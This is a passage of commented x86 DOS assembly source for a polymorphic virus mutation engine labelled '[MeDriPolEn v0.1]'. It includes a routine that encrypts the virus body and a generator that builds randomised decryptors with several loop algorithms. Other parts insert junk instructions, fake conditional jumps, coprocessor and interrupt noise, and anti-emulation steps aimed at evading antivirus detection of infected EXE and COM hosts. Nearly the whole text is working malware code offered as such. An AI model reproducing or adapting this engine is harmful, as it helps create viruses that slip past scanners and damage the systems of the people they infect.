PonMOV_X endp
;; Identification of the engine
Ident db 0,'[MeDriPolEn v0.1]',0
;;; Procedure to encrypt an especified amount of an especified part of virus
CriptaVirus PROC
MOV SI, Offset NewVirus-200h ; Begin to crypt here
MOV AX, [WordEncriptado-200h] ; Key of encryption
MOV DX, [WordCambio-200h] ; Word for change key
MOV BP, [Banderas-200h] ; Flags of decryptor
TEST BP, 0080h ; Crypt by byte or word?
JNZ @@JJJC ; If byte, jump
SHR CX, 1 ; Divide counter by 2
@@JJJC: MOV BL, 01 ; Crypt by word (in BL)
TEST BP, 0080h ; Byte or word?
JZ @@JKJC ; If word, jump
XOR BL, BL ; Crypt by byte
@@JKJC: TEST BP, 0010h ; XOR, ADD or SUB? (in decryptor)
JZ @@PonXORoADD ; If XOR or ADD, jump
TEST BP, 0008h ; XOR or SUB?
JZ @@Siggg ; If SUB, jump and BL=opcode of ADD
@@PonXOR: ADD BL, 30h ; BL=Opcode of XOR
JMP @@Siggg ; Jump
@@PonXORoADD: TEST BP, 0008h ; Test XOR or ADD
JZ @@PonXOR ; If XOR, jump
@@PonADD: ADD BL, 28h ; BL=Opcode of SUB
@@Siggg: MOV BYTE PTR [OpcodeCrip-200h], BL ; Construct crypt ins-
; truction
TEST BP, 0080h ; Word crypting?
JZ @@SiguR ; Then, jump
TEST BP, 0100h ; Direct crypting? (no register)
JZ @@SiguR ; Then, jump
TEST BP, 0200h ; High byte of register? (AH to DH)
JZ @@SiguR ; If not, jump
CMP BYTE PTR [RegistroEncriptado-200h], 03h ;If key isn't
JA @@SiguR ; a ?X type register, jump
OR BYTE PTR [Offset OpcodeCrip-200h+1], 20h ;Set crypting
; by the high byte of the key register
JMP @@Siguu ; Jump and continue
@@SiguR: AND BYTE PTR [Offset OpcodeCrip-200h+1], 0DFh ; Set crypt-
JMP @@Siguu ; ting by the low byte of the key register
; and clear prefetch queue
OpcodeCrip LABEL BYTE
@@Siguu: XOR [SI], AL ; Encrypt byte/word
TEST BP, 0100h ; If direct crypting (no key register), jump
JZ @@Siguuu
TEST BP, 0004h ; Modify key?
JZ @@Siguuu ; If not, jump
TEST BP, 0040h
JZ @@ModifXORADD
@@ModifSUBROL: TEST BP, 0020h
JZ @@ModifSUB
@@ModifROL: ROL AX, 1 ; Modify key by ROL xx,1
JMP @@Siguuu
@@ModifSUB: SUB AX, DX ; Modify key by SUB
JMP @@Siguuu
@@ModifXORADD: TEST BP, 0020h
JZ @@ModifXOR
@@ModifADD: ADD AX, DX ; Modify key by ADD
JMP @@Siguuu
@@ModifXOR: XOR AX, DX ; Modify key by XOR
@@Siguuu: TEST BP, 0080h ; Word or byte?
JNZ @@Siguu2 ; Jump if byte
INC SI
@@Siguu2: INC SI ; Increase index
LOOP @@Siguu ; Repeat
RET
CriptaVirus ENDP ; End of procedure
;;;;;; THIS IS THE MAIN PROCEDURE ON THE ENGINE. IT CREATES A DECRYPTOR WITH
;;;; THE DATA SET BEFORE
HazVirus2 PROC
; This variable controls when the decryptor can perform a CALL to any
; CALL on the decryptor, not only the routine immediately above. When
; 0, it can't
MOV BYTE PTR [LoopYaEsta-200h], 0
; Clear "used register" fields. This is for indexed memory writes
MOV DWORD PTR [RegistrosUsados-200h], 0
MOV DWORD PTR [RegistrosUsados-200h+4], 0
MOV BYTE PTR [SaltoLoopTipo0-200h], 0
MOV WORD PTR [NoBasura-200h], 0
CALL Aleatorio ; One posibility in 64 that the decryptor
AND AL, 3Fh ; doesn't have garbage
JNZ @@XXCXCS
MOV BYTE PTR [NoBasura-200h], 1
@@XXCXCS: PUSHA ; Save registers
PUSH DS
PUSH ES
PUSH DI
PUSH CS
POP ES
CLD
call Aleatorio
and al, 3
mov [TipoDeDesencriptador-200h], al
CALL Aleatorio ; Set BP with a random word
MOV BP, AX
@@Repite001: CALL Aleatorio ; Get counter register
AND AL, 07h
MOV [RegistroContador-200h], AL ; Save it here
CALL PonComoUsado ; Check if it is going to be used (to
; not use it on indexed memory writes)
@@Repite002: CALL Aleatorio ; Get index register (must be different
AND AL, 07h ; of counter register)
CMP AL, 03h
JB @@Repite002
CMP AL, 04h
JZ @@Repite002
CMP AL, [RegistroContador-200h]
JZ @@Repite002
MOV [RegistroIndice-200h], AL ; Save it here
CALL PonComoUsado ; Check if it is going to be used (to
; not use it on indexed memory writes)
@@Repite003: CALL Aleatorio ; Get key register (the register that
AND AL, 07h ; is going to be used like decryption
CMP AL, 04h ; key, if flags in BP says that). Of
JZ @@Repite003 ; course, it must be different of the
CMP AL, [RegistroIndice-200h] ; other two
JZ @@Repite003
CMP AL, [RegistroContador-200h]
JZ @@Repite003
MOV [RegistroEncriptado-200h], AL
CALL PonComoUsado ; Set if it can be used like index on
; indexed memory writes
; This variable is set to avoid making a JMP instruction in the very
; beginning of the decryptor
MOV BYTE PTR CS:[PrimerByte-200h], 0
CALL HazBasuraAleatoria ; Do garbage
INC BYTE PTR CS:[PrimerByte-200h] ; Use JMPs on decryptor
CALL PonInt ; Put INT function
CALL HazBasuraAleatoria ; Do garbage
CALL HazBasuraAleatoria ; Do garbage
MOV AX, BP ; Get method of jumping to next de-
AND AX, 0C00h ; cryptor or decrypted virus body
ROL AX, 6
MOV BYTE PTR [Estado-200h], AL ; Put it here
cmp byte ptr [TipoDeDesencriptador-200h], 1
jb @@Tipo0
jz @@Tipo1
cmp byte ptr [TipoDeDesencriptador-200h], 2
jz @@Tipo2
;;;; ALGORITHM TYPE 3
;;; Normal, habitual looping
@@Tipo3: MOV BX, Offset PonContador - 200h ; Call this functions
MOV CX, Offset PonIndice - 200h ;in a random order: Pon-
MOV DX, Offset PonEncriptador - 200h ; Contador to set
MOV SI, Offset AntiEmulating - 200h ; counter register,
CALL BarajaYLlama ;PonIndice to set index
;register, PonEncriptador to set key register,
;and AntiEmulating to... well, I think you
;aren't sooooo lamer :)
push offset @@Returning - 200h
@@Parche: MOV [InicLoop-200h], DI ; Decryption LOOP begins here
@@Parche2: CALL HazBasuraAleatoria ; Do garbage
CMP BYTE PTR [TipoEjec-200h], 01 ; Is the host EXE or COM?
JNZ @@EsCOM ; Jump if COM
@@EsEXE: MOV AL, 2Eh ; Set "CS:" instruction
JMP @@SAaslx ; Continue
@@EsCOM: CALL Aleatorio ; Get a random segment referring
AND AL, 18h ; CS:, DS:, ES:, SS:
CMP AL, 18h ; If result is "DS:", don't insert it
JZ @@SAaslx2
ADD AL, 26h ; Convert it to this instruction
@@SAaslx: STOSB ; Insert it
@@SAaslx2: CALL HazEncriptador ; Put decryption instruction
CALL HazBasuraAleatoria ; Do garbage
ret
@@Returning: push offset @@Returning2 - 200h
@@Parche3: MOV BX, Offset IncrementaIndice - 200h ; Construct index
; increasement
MOV CX, Offset ModificaContador - 200h ; Construct counter
; in/decrementation
MOV DX, Offset ModificaRegistro - 200h ; Construct key
; modification
MOV SI, Offset @@Retorno01 - 200h ; Direct return (no
; function)
CALL BarajaYLlama ; Call the three functions above in a
; random order
CALL MeteComprueba ; Construct counter check
RET
@@Returning2:
@@Finish: CALL HazBasuraSinBanderas2 ; Random instructions that don't
; change Zero Flag and/or Signe
; Flag
CALL MeteSaltoLoop ; Construct loop jump
mov byte ptr [LoopYaEsta-200h], 1 ; Decryption loop is
; ended
CALL HazBasuraAleatoria ; Do garbage
CALL PonInt ; Do random interrupt function
; (or not, it's random :) )
CALL HazBasuraAleatoria ; Do garbage
CALL SaltoInicio ; Put jump to virus body or se-
; cond decryptor
CALL HazBasuraAleatoria ; Do garbage
POP CX ; Calculate length of decryptor
SUB DI, CX ; in DI
MOV [LongDesencrip-200h], DI ; Put result here
MOV [Banderas-200h], BP ; Save flags here
POP ES
POP DS
POPA ; Restore registers and return
@@Retorno01: RET
;;; Algorithm type 0 (Zhengxi decryption based)
@@Tipo0: AND BP, 1111111111111011b ; Don't vary decryption key
MOV BYTE PTR [RegistroContador-200h], 04 ; Put 4 as coun-
; ter registre
@@Repite01: CALL Aleatorio ; Get a random size for a block
AND AX, 001Eh ; between 4 and 30
CMP AL, 4
JB @@Repite01
MOV [TamanyoBloque-200h], AL ; Save it
MOV BX, Offset PonIndice - 200h ; Put index value
MOV CX, Offset PonStack - 200h ; Put stack instructions
MOV DX, Offset PonEncriptador - 200h ; Put encryptor value
MOV SI, Offset AntiEmulating - 200h ; Put an anti-emula-
CALL BarajaYLlama ; tion
CALL @@Parche ; Call to this common part
call @@Parche3 ; The same
CALL MeteSaltoLoop ; Put the jump to the beginning
; of the loop
mov byte ptr [SaltoLoopTipo0-200h], 0 ; Put this to 0
CALL ModificaIndice ; Modify index
CALL MeteComprueba2 ; Put the test of the index
JMP @@Finish ; Jump to this other common
; part and finish
;; ALGORITHM TYPE 1
;;; LOOP of LOOPs. I think it's quite clear :)
@@Tipo1: CMP BYTE PTR [RegistroContador-200h], 4 ; Is there a coun-
; ter defined?
JNZ @@Repite02 ; If it is, jump
mov cl, 08 ; Get a registre as a counter
CALL ObtenRegistro
mov [RegistroContador-200h], al ; Save it here
@@Repite02: CALL Aleatorio ; Get a random number between
AND AX, 001Eh ; 4 and 30
CMP AL, 4
JB @@Repite02
MOV [TamanyoBloque-200h], AL ; Put it as block size
push word ptr [TamanyoContador-200h] ; Save counter size
MOV [TamanyoContador-200h], AX ; Put the block size in
; this variable
MOV BX, Offset PonIndice - 200h ; Call to this functions
MOV CX, Offset PonStack - 200h ; with a random order
MOV DX, Offset PonEncriptador - 200h
MOV SI, Offset AntiEmulating - 200h
CALL BarajaYLlama
MOV [InicLoop2-200h], DI ; Save DI as the initial
; address of the external
; loop
push word ptr [LongDesencrip-200h] ; Save this value
MOV WORD PTR [LongDesencrip-200h], 0 ; Put this to 0 and
CALL PonContador ; and put the counter
POP word ptr [LongDesencrip-200h] ; Restore the value
MOV [InicLoop-200h], DI ; Save DI as the initial
; address of the internal
; loop
CALL @@Parche2 ; call this common parts
call @@Parche3
CALL MeteSaltoLoop ; Put the looping jump
POP WORD PTR [TamanyoContador-200h] ; Restore this
MOV BYTE PTR [RegistroContador-200h], 4 ; Force "MeteCom-
CALL MeteComprueba ; prueba" to do a CMP of index
; and not a check of the coun-
; ter with 0
MOV AX, [InicLoop2-200h] ; Get the address of the ex-
; ternal loop
MOV [InicLoop-200h], AX ; Put it as internal
JMP @@Finish ; Jump and continue in this
; common part
;;; Type 2
;;;; One loop after another (one loop is executed, and when it finishes, the
;;;; second loop take the control) but both jump to the same point.
@@Tipo2: cmp byte ptr [RegistroContador-200h], 4 ; Get a counter
jnz @@Repite03 ; registre it it isn't
mov cl, 08 ; any
call ObtenRegistro
mov byte ptr [RegistroContador-200h], al
@@Repite03: call Aleatorio ; Get a random number
or ax, ax ; Avoid 0
jz @@Repite03
and ax, 1fffh ; Get the number between
; 1 and 1FFFh
xchg ax, [TamanyoContador-200h] ; Put it on the value of
; the counter reg
push ax ; Save the old value
MOV BX, Offset PonContador - 200h ; Call this functions
MOV CX, Offset PonIndice - 200h ; randomly
MOV DX, Offset PonEncriptador - 200h
MOV SI, Offset AntiEmulating - 200h
CALL BarajaYLlama
pop word ptr [TamanyoContador-200h] ; Restore this value
call @@Parche ; Call this common parts
call @@Parche3
call MeteSaltoLoop ; Put the jump to the beginning
; of the loop
call HazBasuraAleatoria ; Do garbage
xor bp, 0001 ;Inverse bit 0 on BP to force
; to ModificaContador to do the
; inverse operation as before,
; to force loop to execute only
; once when the "big loop" is
; going and not the "little
; loop"
mov byte ptr [NoPongasLOOP-200h], 1 ; Avoid LOOP instruc.
call ModificaContador ; Insert instruction to modify
; counter
call HazBasuraAleatoria ; Do garbage
mov byte ptr [RegistroContador-200h], 4 ; Force "MeteCom-
call MeteComprueba ; prueba" to do a CMP to the
; index and not test counter
; equality to 0
jmp @@Finish ; Jump to the common part and
; continue
HazVirus2 ENDP
;; Procedure to mix BX, CX, DX and SI registers and call the addresses in them
;; randomly
BarajaYLlama PROC
MOV AX, 0005 ; Repeat 5 times
@@Loop1: CALL SioNo ; Random Zero Flag
JZ @@Salto1
XCHG BX, CX ; Exchange
@@Salto1: CALL SioNo ; Random Zero Flag
JZ @@Salto2
XCHG CX, DX ; Exchange
@@Salto2: CALL SioNo ; Idem
JZ @@Salto3
XCHG DX, SI ; Idem
@@Salto3: CALL SioNo ; Id.
JZ @@Salto4
XCHG SI, BX ; I. :)
@@Salto4: DEC AX
JNZ @@Loop1 ; Repeat
PUSH BX ; Put addresses on stack, so, when
PUSH CX ; the functions arrive to "RET", they
PUSH DX ; jump to next function. Last will
PUSH SI ; return completely.
RET
BarajaYLlama ENDP
;;;; GARBAGE GENERATOR
;; Almost all polymorphism in this engine depends on this powerful procedure.
;; It can generate a lot of different types of garbage, from CALLs to indexed
;; memory writes, conditional jumps, 32 bit instructions and much more.
;; All memory writes are done to the virus body! :)
HazBasuraAleatoria PROC
CMP BYTE PTR [NoBasura-200h], 0
JZ @@HazBasura
RET
@@HazBasura: MOV BYTE PTR [EstoyDentro-200h], 0 ; Initialize variable.
; When generating a CALL, this is set to
; 1 to not generate nested CALLs
PUSH CX ; Save going-to-be-used registers
PUSH DX
PUSH AX
CALL Aleatorio ; Get a random word in AX
AND AH, 0C0h
JNZ @@Salto ; Jump with 75% probability
CMP BYTE PTR [PrimerByte-200h], 0 ; First instruction on
; decryptor?
JNZ @@Salxtro ; If not, jump
OR AH, 0C0h ; Set bit 15 and 14 to non-zero
JMP @@Salto ; Jump and don't do "JMP"
@@Salxtro: TEST AL, 03 ; Do jump with non-zero displacement
JNZ @@SLLL
OR AL, 1
@@SLLL: PUSH AX ; Save AX
CALL Aleatorio ; Aleatory in AX
AND AL, 0Fh ;Generate a random type of conditional "JMP"
AND AH, 03h ; Generate probabilities
CMP AH, 01
JBE @@PonSaltoNormal ; Jump with 50% of probability
CMP AH, 02
JZ @@PonJCXZ ; Jump with 25% of probability
MOV AL, 0EBh ; Do JMP (with 25% ...)
JMP @@JKJCJD
@@PonJCXZ: MOV AL, 0E3h ; Do JCXZ
JMP @@JKJCJD
@@PonSaltoNormal: ; Do normal conditional jump
AND AL, 0Fh
ADD AL, 70h
@@JKJCJD: STOSB
XOR AL, AL ; Set this to 0 and save this offset address
STOSB
MOV [Temporal-200h], DI
POP AX ; Restore AX
@@Salto: AND AL, 03 ; Get AL between 0 and 3
JZ @@Fin ; If 0, jump
@@Loop: PUSH AX ; Save AX
CALL HazBasuraAleatoria2 ; Generate random instructions
POP AX ; Recover AX
DEC AL ; Repeat AL times
JNZ @@Loop
@@Fin: OR AH, AH ; AH=0?
JNZ @@Fin2 ; If not, a JMP isn't be constructed
MOV AX, DI ; Get current offset in AX
SUB AX, [Temporal-200h] ; Calculate displacement until the
; JMP (or JCXZ or Jxx)
PUSH DI ; Save DI
MOV DI, [Temporal-200h] ; Put JMP address on DI
DEC DI ; Decrement DI to get displacement
; zone on instruction
STOSB ; Put displacement
POP DI ; Restore DI
JMP @@Fin3 ; Jump and finish
@@Fin2: CMP AH, 80h ; Do I do a faked conditional jump?
JNZ @@Fin3 ; With a 25% of probability, say "NO"
CALL Aleatorio ; Get a random word in AX
AND AL, 03 ; Get a number 1, 2 or 3
JZ @@Fin3 ; Finish if 0
CMP AL, 02 ; Test resultant AL
JB @@ConSTC ; If AL=1, jump here
JZ @@ConZF ; If AL=2, jump here
;; Construct CLC/JC or CLC/JNC
@@ConCLC: MOV AL, 0F8h ; Insert "CLC"
STOSB
CALL SioNo ; Random Zero Flag
JZ @@ConCLC2 ; Jump here, then (if ZF set)
MOV AL, 72h ; "JC" with random displacement (it
STOSW ; never jumps)
JMP @@Fin3 ; Jump and end
@@ConCLC2: CALL Aleatorio ; Get an aleatory in AX
AND AH, 03 ; Get a non-zero AH
JZ @@ConCLC2
MOV AL, 73h ; Store a "JNC" with AH displacement
@@Repite: STOSW ; JNC always jumps
MOVZX CX, AH ; Insert AH random bytes
@@Otro: CALL Aleatorio
STOSB
LOOP @@Otro
JMP @@Fin3 ; Return
;; Construct STC/JNC or STC/JC
@@ConSTC: MOV AL, 0F9h ; Insert STC
STOSB
CALL SioNo ; Random Zero Flag
JZ @@ConSTC2 ; If ZF, jump to STC/JC
MOV AL, 73h ; Put a "JNC" with random displacement
STOSW
JMP @@Fin3 ; Return
@@ConSTC2: CALL Aleatorio ;Get a non-zero displacement for the "JC"
AND AH, 03
JZ @@ConSTC2
MOV AL, 72h ; Put "JC" opcode in AL
JMP @@Repite ; Jump and do the same that "@@ConCLC"
;; Construct CMP Reg,Reg/JNZ or CMP Reg,Reg/JZ ("Reg" must be the same)
@@ConZF: MOV AL, AH ; Put AH (aleatory) in AL
ROL AL, 3 ;Put 3 lowest bytes on the third bit po-
; sition
AND AX, 0738h ; Leave alone this bits
OR AH, AL ; Integrate them in AL. Now bits (3,4,5)
; and (0,1,2) are the same
OR AH, 0C0h ; Set register operation
MOV AL, 38h ; Put CMP opcode in AL
MOV CX, AX ; Save instruction formed in AX
CALL Aleatorio ; Get an aleatory in AX
AND AL, 03 ; Get a random number between 0 and 3
ADD CL, AL ; Add it to main opcode to construct one
;of the four variations of "CMP" in this
;type of opcode
XCHG CX, AX ; Put it in AX
STOSW ; Store it
XCHG CX, AX ; Put it again in CX
CALL SioNo ; Random Zero Flag
JZ @@ConZF2 ; Here if Zero Flag
MOV AL, 75h ; Put a random "JNZ"
STOSW
JMP @@Fin3 ; Return
@@ConZF2: CALL Aleatorio ; Get non-zero random AH
AND AH, 03h
JZ @@ConZF2
MOV AL, 74h ;Put "JZ" and put random bytes along the
JMP @@Repite ; displacement jumping here
@@Fin3: POP AX ; Restore attributes
POP DX
POP CX
RET ; Return
HazBasuraAleatoria ENDP
;; Procedure to get a non-used register (the got register is lower than CL)
ObtenRegistro PROC
PUSH BX ; Save BX
@@OtraVez: CALL Aleatorio ;Get a random byte in AL between 0 and 7
AND AL, 07h
CMP AL, 04 ; SP?
JZ @@OtraVez ; Repeat, then
CMP AL, CL ; >=CL?
JAE @@OtraVez ; Repeat, then
CMP AL, [RegistroEncriptado-200h] ; Equal to key register?
JZ @@OtraVez ; Repeat, then
CMP AL, [RegistroIndice-200h] ; Equal to index register?
JZ @@OtraVez ; Repeat, then
CMP AL, [RegistroContador-200h] ;Equal to counter reg.?
JZ @@OtraVez ; Repeat, then
CALL PonComoUsado ; Mark this register as used
@@Retorna: POP BX ; Restore BX and return
RET
ObtenRegistro ENDP
;; Markers of registers
RegistrosUsados DB 8 DUP (0)
;; Procedure to put BP, SI or DI like used
PonComoUsado PROC
@@Sigue: MOVZX BX, AL ; Put register in BX (zero extended)
MOV BYTE PTR [BX+RegistrosUsados-200h], 1 ; Mark it
@@Retorna: RET ; Return
PonComoUsado ENDP
;;; RANDOM INSTRUCTION GENERATOR
HazBasuraAleatoria2 PROC
MOV CL, 04 ; Get a register lower than SP (get
CALL ObtenRegistro ; AX, CX, DX or BX)
MOV CL, AL ; Put it in CL
CALL Aleatorio ; Get aleatory AX
AND AL, 03 ; Do aleatory JMP with 25% of prob.
JZ @@SaltoAleatorio
TEST AH, 0C0h ; 25% of probability for putting a
JZ @@Salxto00 ; 66h opcode (it is 8 bit instruc-
PUSH AX ; tion yet, but not for the debug-
MOV AL, 66h ; ger :) ).
STOSB
POP AX
@@Salxto00: CMP AL, 02 ; If AL=1, then do a 1 byte instruc.
JB @@Instruccion1byte
JZ @@Instruccion2bytes ; If AL=2, then do a 2 byte instruc.
;; More than 2 bytes instruction
@@Instruccion3bytes:
CALL Siono
JZ @@KKDLL1
CALL Siono
JZ @@KKDLL1
CALL Siono ; 1 in 4 to do a coprocessor instruction
JZ @@MeteCoprocesador ; or a memory write. 1 in 8 to do a
; coprocessor instruction
JMP MeteEscritura ; Put a memory write with a 1/8 of prob.
@@KKDLL1: CALL Aleatorio ; Random word in AX
TEST AH, 03h ; JZ with 25% of probability
JZ @@InstruccionChunga ; Do weird instruction
TEST AH, 0E0h ; JZ with 25% of probability
JZ @@OtroTipo ; Do another type of instruction
MOV CH, AH ; Save AH
AND AX, 007Fh ; Get a random number between 0 and 0Fh
MOV BL, 0Ah ; in AL
DIV BL
MOV AL, AH
AND CH, 04h ; CH=0 or 4
ADD CL, CH ;Add it to 8 bit register to get random-
; ly ?H or ?L
MOV BX, Offset BasuraInstruc - 200h ; Convert AL to opcode
XLAT
MOV BL, AL ; Put it in BL
CALL Aleatorio ; Get an aleatory in AL
CMP BL, 3Ah ; Check if it is "CMP" opcode
JNZ @@Salllclx ; If not, jump
AND AL, 02 ; AL=0 or 2
ADD AL, 38h ; Get in AL opcode 38h or 3Ah
MOV BL, AL
@@Salllclx: AND AH, 07h ; Get AH between 0 and 7 (random)
ROL CL, 3 ; Put register in bits (3,4,5)
OR AH, CL ; Integrate them in the same opcode
CALL SioNo ; Byte or word extra displacement on in-
; dex?
JNZ @@SaltoCXC ; If byte, jump
OR AH, 80h ; A word will be added to index
JMP @@SaltoCXC2
@@SaltoCXC: OR AH, 40h ; A byte will be added to index
@@SaltoCXC2: MOV AL, BL ; Store whole opcde
STOSW
TEST AH, 80h ; If byte...
PUSHF
CALL Aleatorio ; Get an aleatory in AX
POPF
JZ @@Bytett ; ...jump and insert a byte
STOSW ; Insert a word
RET
@@Bytett: STOSB ; Insert a byte
RET ; return
;; Weird instruction ("SETxx")
@@InstruccionChunga:
MOV AL, 0Fh ; Extended opcode
STOSB
AND AH, 04h ; Get random ?H or ?L register
ADD CL, AH
CALL Aleatorio ; Get a random word
OR AH, 0C0h ; Set register operation on
AND AH, 0F8h ; Get a random bit field on bits 3,4,5
ADD AH, CL ; Put register
AND AL, 0Fh ; Get a random SETxx operation
ADD AL, 90h
STOSW ; Store instruction
RET ; Return
;; Usual register operation (ADD/OR/ADC... Register, Random Value)
@@OtroTipo: CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode (due
JNZ @@CJJJDC ; to some problems)
DEC DI
@@CJJJDC: MOV BL, AH ; Put random AH in BL
TEST BL, 80h ; Random Zero Flag
JZ @@OtroTipoWORD ; Jump if Zero Flag (to do 16 bits)
AND AH, 04 ; Get random ?H/?L in CL
ADD CL, AH
AND BL, 08h
ROR BL, 2 ; BL = 0 or 2
MOV AL, 80h
ADD AL, BL ; Store opcode 80h or 82h (8 bits)
STOSB
CALL Aleatorio ; Random word in AX
OR AL, 0C0h ; Set register operation on
AND AL, 0F8h ; Get a random operation (ADD/OR/ADC...)
OR AL, CL ; Put register
STOSW ; Store opcode + random byte
RET ; Return
@@OtroTipoWORD: MOV AL, 81h ; 16 bits opcode
STOSB ; Put it
MOV CL, 08h ; Get a random register
CALL ObtenRegistro
OR AL, 0C0h ; Set register operation on
AND AH, 038h ; Get a random operation
OR AL, AH ; Mix to get the operation
STOSB ; Store it
CALL Aleatorio ; Store a random word
STOSW
RET ; Return
;;; Coprocessor instructions builder. This instructions are not as logical as
;;; the processor ones, so every opcode has its particularities and instruc-
;;; tions. Due to this I had to code this weird kind of select an opcode and
;;; its instructions.
DirecCopro dw offset @@OpcodeD8h - 200h ; This is a table with the
dw offset @@OpcodeD9h - 200h ; offsets of where it has
dw offset @@OpcodeDAh - 200h ; to jump to do an instruc-
dw offset @@OpcodeDBh - 200h ; tion with this opcode.
dw offset @@OpcodeDCh - 200h
dw offset @@OpcodeDDh - 200h
dw offset @@OpcodeDEh - 200h
dw offset @@OpcodeDFh - 200h
;; And it's a table with some needed values
Copro_Tabla1 db 00h, 10h, 20h, 28h
Copro_Tabla2 db 00h, 08h, 18h, 00h
Copro_Tabla3 db 20h, 21h, 24h, 25h, 28h, 29h, 2ah, 2bh, 2ch, 2dh, 2eh
db 36h, 37h, 20h, 21h, 24h
@@MeteCoprocesador:
call Aleatorio ; Get a random opcode between D8h and
and ax, 07h ; DFh and translate it to the table
shl ax, 1 ; to get an offset to jump
add ax, offset DirecCopro - 200h
mov bx, ax
jmp [bx] ; Jump to the address
@@OpcodeD8h: ;;; Memory: fadd, fcom, fsub, fsubr
;;; Registre: the same
mov dl, 0d8h ; Opcode D8h
@@Comun2: call Aleatorio ; Random between 0 and 3
and al, 3
mov bx, offset Copro_Tabla1 - 200h ; Get a value
xlat ; Construct the instruction
xchg ah, al
and al, 07h
cmp dl, 0d8h ; DL = D8h?
jnz @@Slla ; If not, continue
call SioNo ; Random Zero Flag
jnz @@CoproReg1 ; If not Zero Flag, jump
@@Slla: cmp dl, 0dch ; DL = DCh?
jz @@CoproReg1 ; If it is, jump
cmp dl, 0ddh ; DL = DDh?
jz @@CoproReg1 ; If it is, jump
or ah, 6 ; Set direct value as memory address
mov al, dl ; Construct instruction and store it
stosw
call ObtenDireccionEscrit ; Store a safe memory write
stosw ; address
ret ; Return
@@CoproReg1: or al, 0c0h ; Put registre
or ah, al ; Put the registre in AL to AH
mov al, dl ; Put the main opcode in AL
stosw ; Store it
ret ; Return
@@OpcodeD9h: ;;; Memory: nothing
;;; Registre: fld, fxch, fnop, fstp, fchs, fabs, ftst, fxam,
;;; fld1, fldl2t, fldl2e, fldpi, fldlg2, fldln2, fldz,
;;; fdecstp, fincstp
mov dl, 0d9h ; Opcode D9h
call SioNo ; Random Zero Flag
jz @@SingleD9h ; If Zero Flag, jump to single instruction
@@ConRegistrosD9h: ; with registre: fld, fxch, fstp, fld
call Aleatorio ; Get a random number in AX
and ax, 0703h ; Get=AH between 0 and 7. AL between 0 and 3
mov bx, offset Copro_Tabla2 - 200h ; Get a random opcode
@@Comun: xlat ; in AL
jmp @@CoproReg1 ; Jump and continue
@@SingleD9h: ; Without registre, just only the instruction: fnop,
; fchs, fabs, ftst, fxam, fld1, etc.
call Aleatorio ; Get a random between 0 and 15
and ax, 000fh
mov bx, offset Copro_Tabla3 - 200h ; Get an instruction
jmp @@Comun ; Jump and continue
@@OpcodeDAh: ;;; Memory: fiadd, ficom, fsub, fsubr
;;; Registre: -
mov dl, 0dah ; Opcode DAh
jmp @@Comun2 ; Jump and continue
@@OpcodeDBh: ;;; Memory: -
;;; Registre: fnclex, fninit
mov ax, 0e2dbh ; AX = Opcode of FNCLEX
call SioNo ; Random Zero Flag
jz @@DoFNCLEX ; If Zero Flag, jump
@@DoFNINIT: inc ah ; Convert to FNINIT
@@DoFNCLEX: stosw ; Store instruction
ret ; Return
@@OpcodeDCh: ;;; Memory: -
;;; Registre: fadd, fcom, fsubr, fsub
mov dl, 0dch ; opcode DCh
jmp @@Comun2 ; Jump and continue
@@OpcodeDDh: ;;; Memory: -
;;; Registre: ffree, fst, fucom, fucomp
mov dl, 0ddh ; Opcode DDh
jmp @@Comun2 ; Jump and continue
@@OpcodeDEh: ;;; Memory: fiadd, ficom, fisub, fisubr
;;; Registre: faddp, fcompp, fsubrp, fsubp
mov dl, 0deh ; Opcode DEh
jmp @@Comun2 ; Jump and continue
@@OpcodeDFh: jmp @@MeteCoprocesador ; If opcode DFh, repeat and get ano-
; ther opcode
;; 2 byte instructions
@@Instruccion2bytes:
CALL Siono
JZ @@KKDLL2
CALL Siono
JZ @@KKDLL2
CALL Siono
JZ @@MeteCoprocesador ; Do copro with 1/8 of probability
JMP MeteEscritura ; Memory write with 1/8 of probability
@@KKDLL2: TEST AH, 07h ; Zero flag with 1/8 of probability
JZ @@HazInt ; Put interrupt if Zero Flag
CALL Aleatorio ; Get random value
OR CL, CL ; Check if register to use is AX
JNZ @@Salxto02 ; If not, jump
TEST AL, 0C0h ; Zero Flag with 25% of probability
JZ @@InstrucConAX ; If Zero Flag, put an implicit AX inst.
@@Salxto02: MOV BL, AL ; Save random byte in BL
AND AL, 38h ; Get random instruction
CMP AL, 38h ; Will it be "CMP"?
JNZ @@CDVDC ; If not, continue
CALL Aleatorio ; Get a random word in AX
AND AL, 02h ; Inverse source and destiny randomly
ADD AL, 38h ; Do a "CMP" instruction
JMP @@CDVDC2 ; Continue
@@CDVDC: ADD AL, 02 ; Register is destiny
@@CDVDC2: AND AH, 07h ; Get a random source
XOR DL, DL ;DL = 0 (it is used like flag to know if
; a word must be added to instruction)
TEST BL, 01 ;If Zero Flag, source is a memory address
JZ @@Salxto03
OR AH, 0C0h ; Put register operation
MOV DX, AX ; Save AX in DX
CALL Aleatorio ; Get a random word in AX
XCHG DX, AX ; Put in DX and restore AX
AND DL, 01 ; Get 0 or 1 in DL
ADD AL, DL ; Construct 8 or 16 bits operation
XOR DX, DX ; Set DL to "instruction as-is"
JMP @@Salxto08 ; Continue here
; Here to put "Operation Register,Memory"
@@Salxto03: CMP AH, 06h ; Direct memory address?
JNZ @@Salxto04 ; If not, continue
MOV DL, 01 ;Set "add random word to instruction" on
@@Salxto04: AND BL, 04 ; Get an aleatory ?H or ?L
ADD CL, BL ; Convert register
@@Salxto08: ROL CL, 3 ; Mix it with the opcode
OR AH, CL
OR DL, DL ; Have I to add a random word?
JZ @@Salxto05 ; If not, jump
STOSW ; Store opcode
CALL Aleatorio ; Get a random word in AX
@@Salxto05: STOSW ; Store opcode/random word
RET ; Return
;; Implicit AX instruction
@@InstrucConAX: CALL SioNo ; Aleatory Zero Flag
JZ @@KK01 ; If Zero Flag, jump
AND AL, 01h ; AL=0 or 1
ADD AL, 0D4h ; Get AAM or AAD
STOSW ; Store it with a random conversion base
; (it's undocumented, but it works)
RET ; Return
@@KK01: AND AL, 38h ; Get a random operation
ADD AL, 04h ; Get AL operation
STOSW ; Store it with a random source byte
RET ; Return
;; To do a random int (well, not absolutely random. They are selected from a
;; little list).
@@HazInt: CALL Aleatorio ; Get a random AX
MOV BX, Offset OpcodesInterrup - 200h ;Direction of usable
; interrupts
AND AL, 03h ; Get a number between 0 and 3
XLAT ; Get in AL the interrupt number
CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode, if it
JNZ @@Salxto06 ; was put before
DEC DI
@@Salxto06: MOV AH, AL ; Construct an "INT XXh" instruction
MOV AL, 0CDh
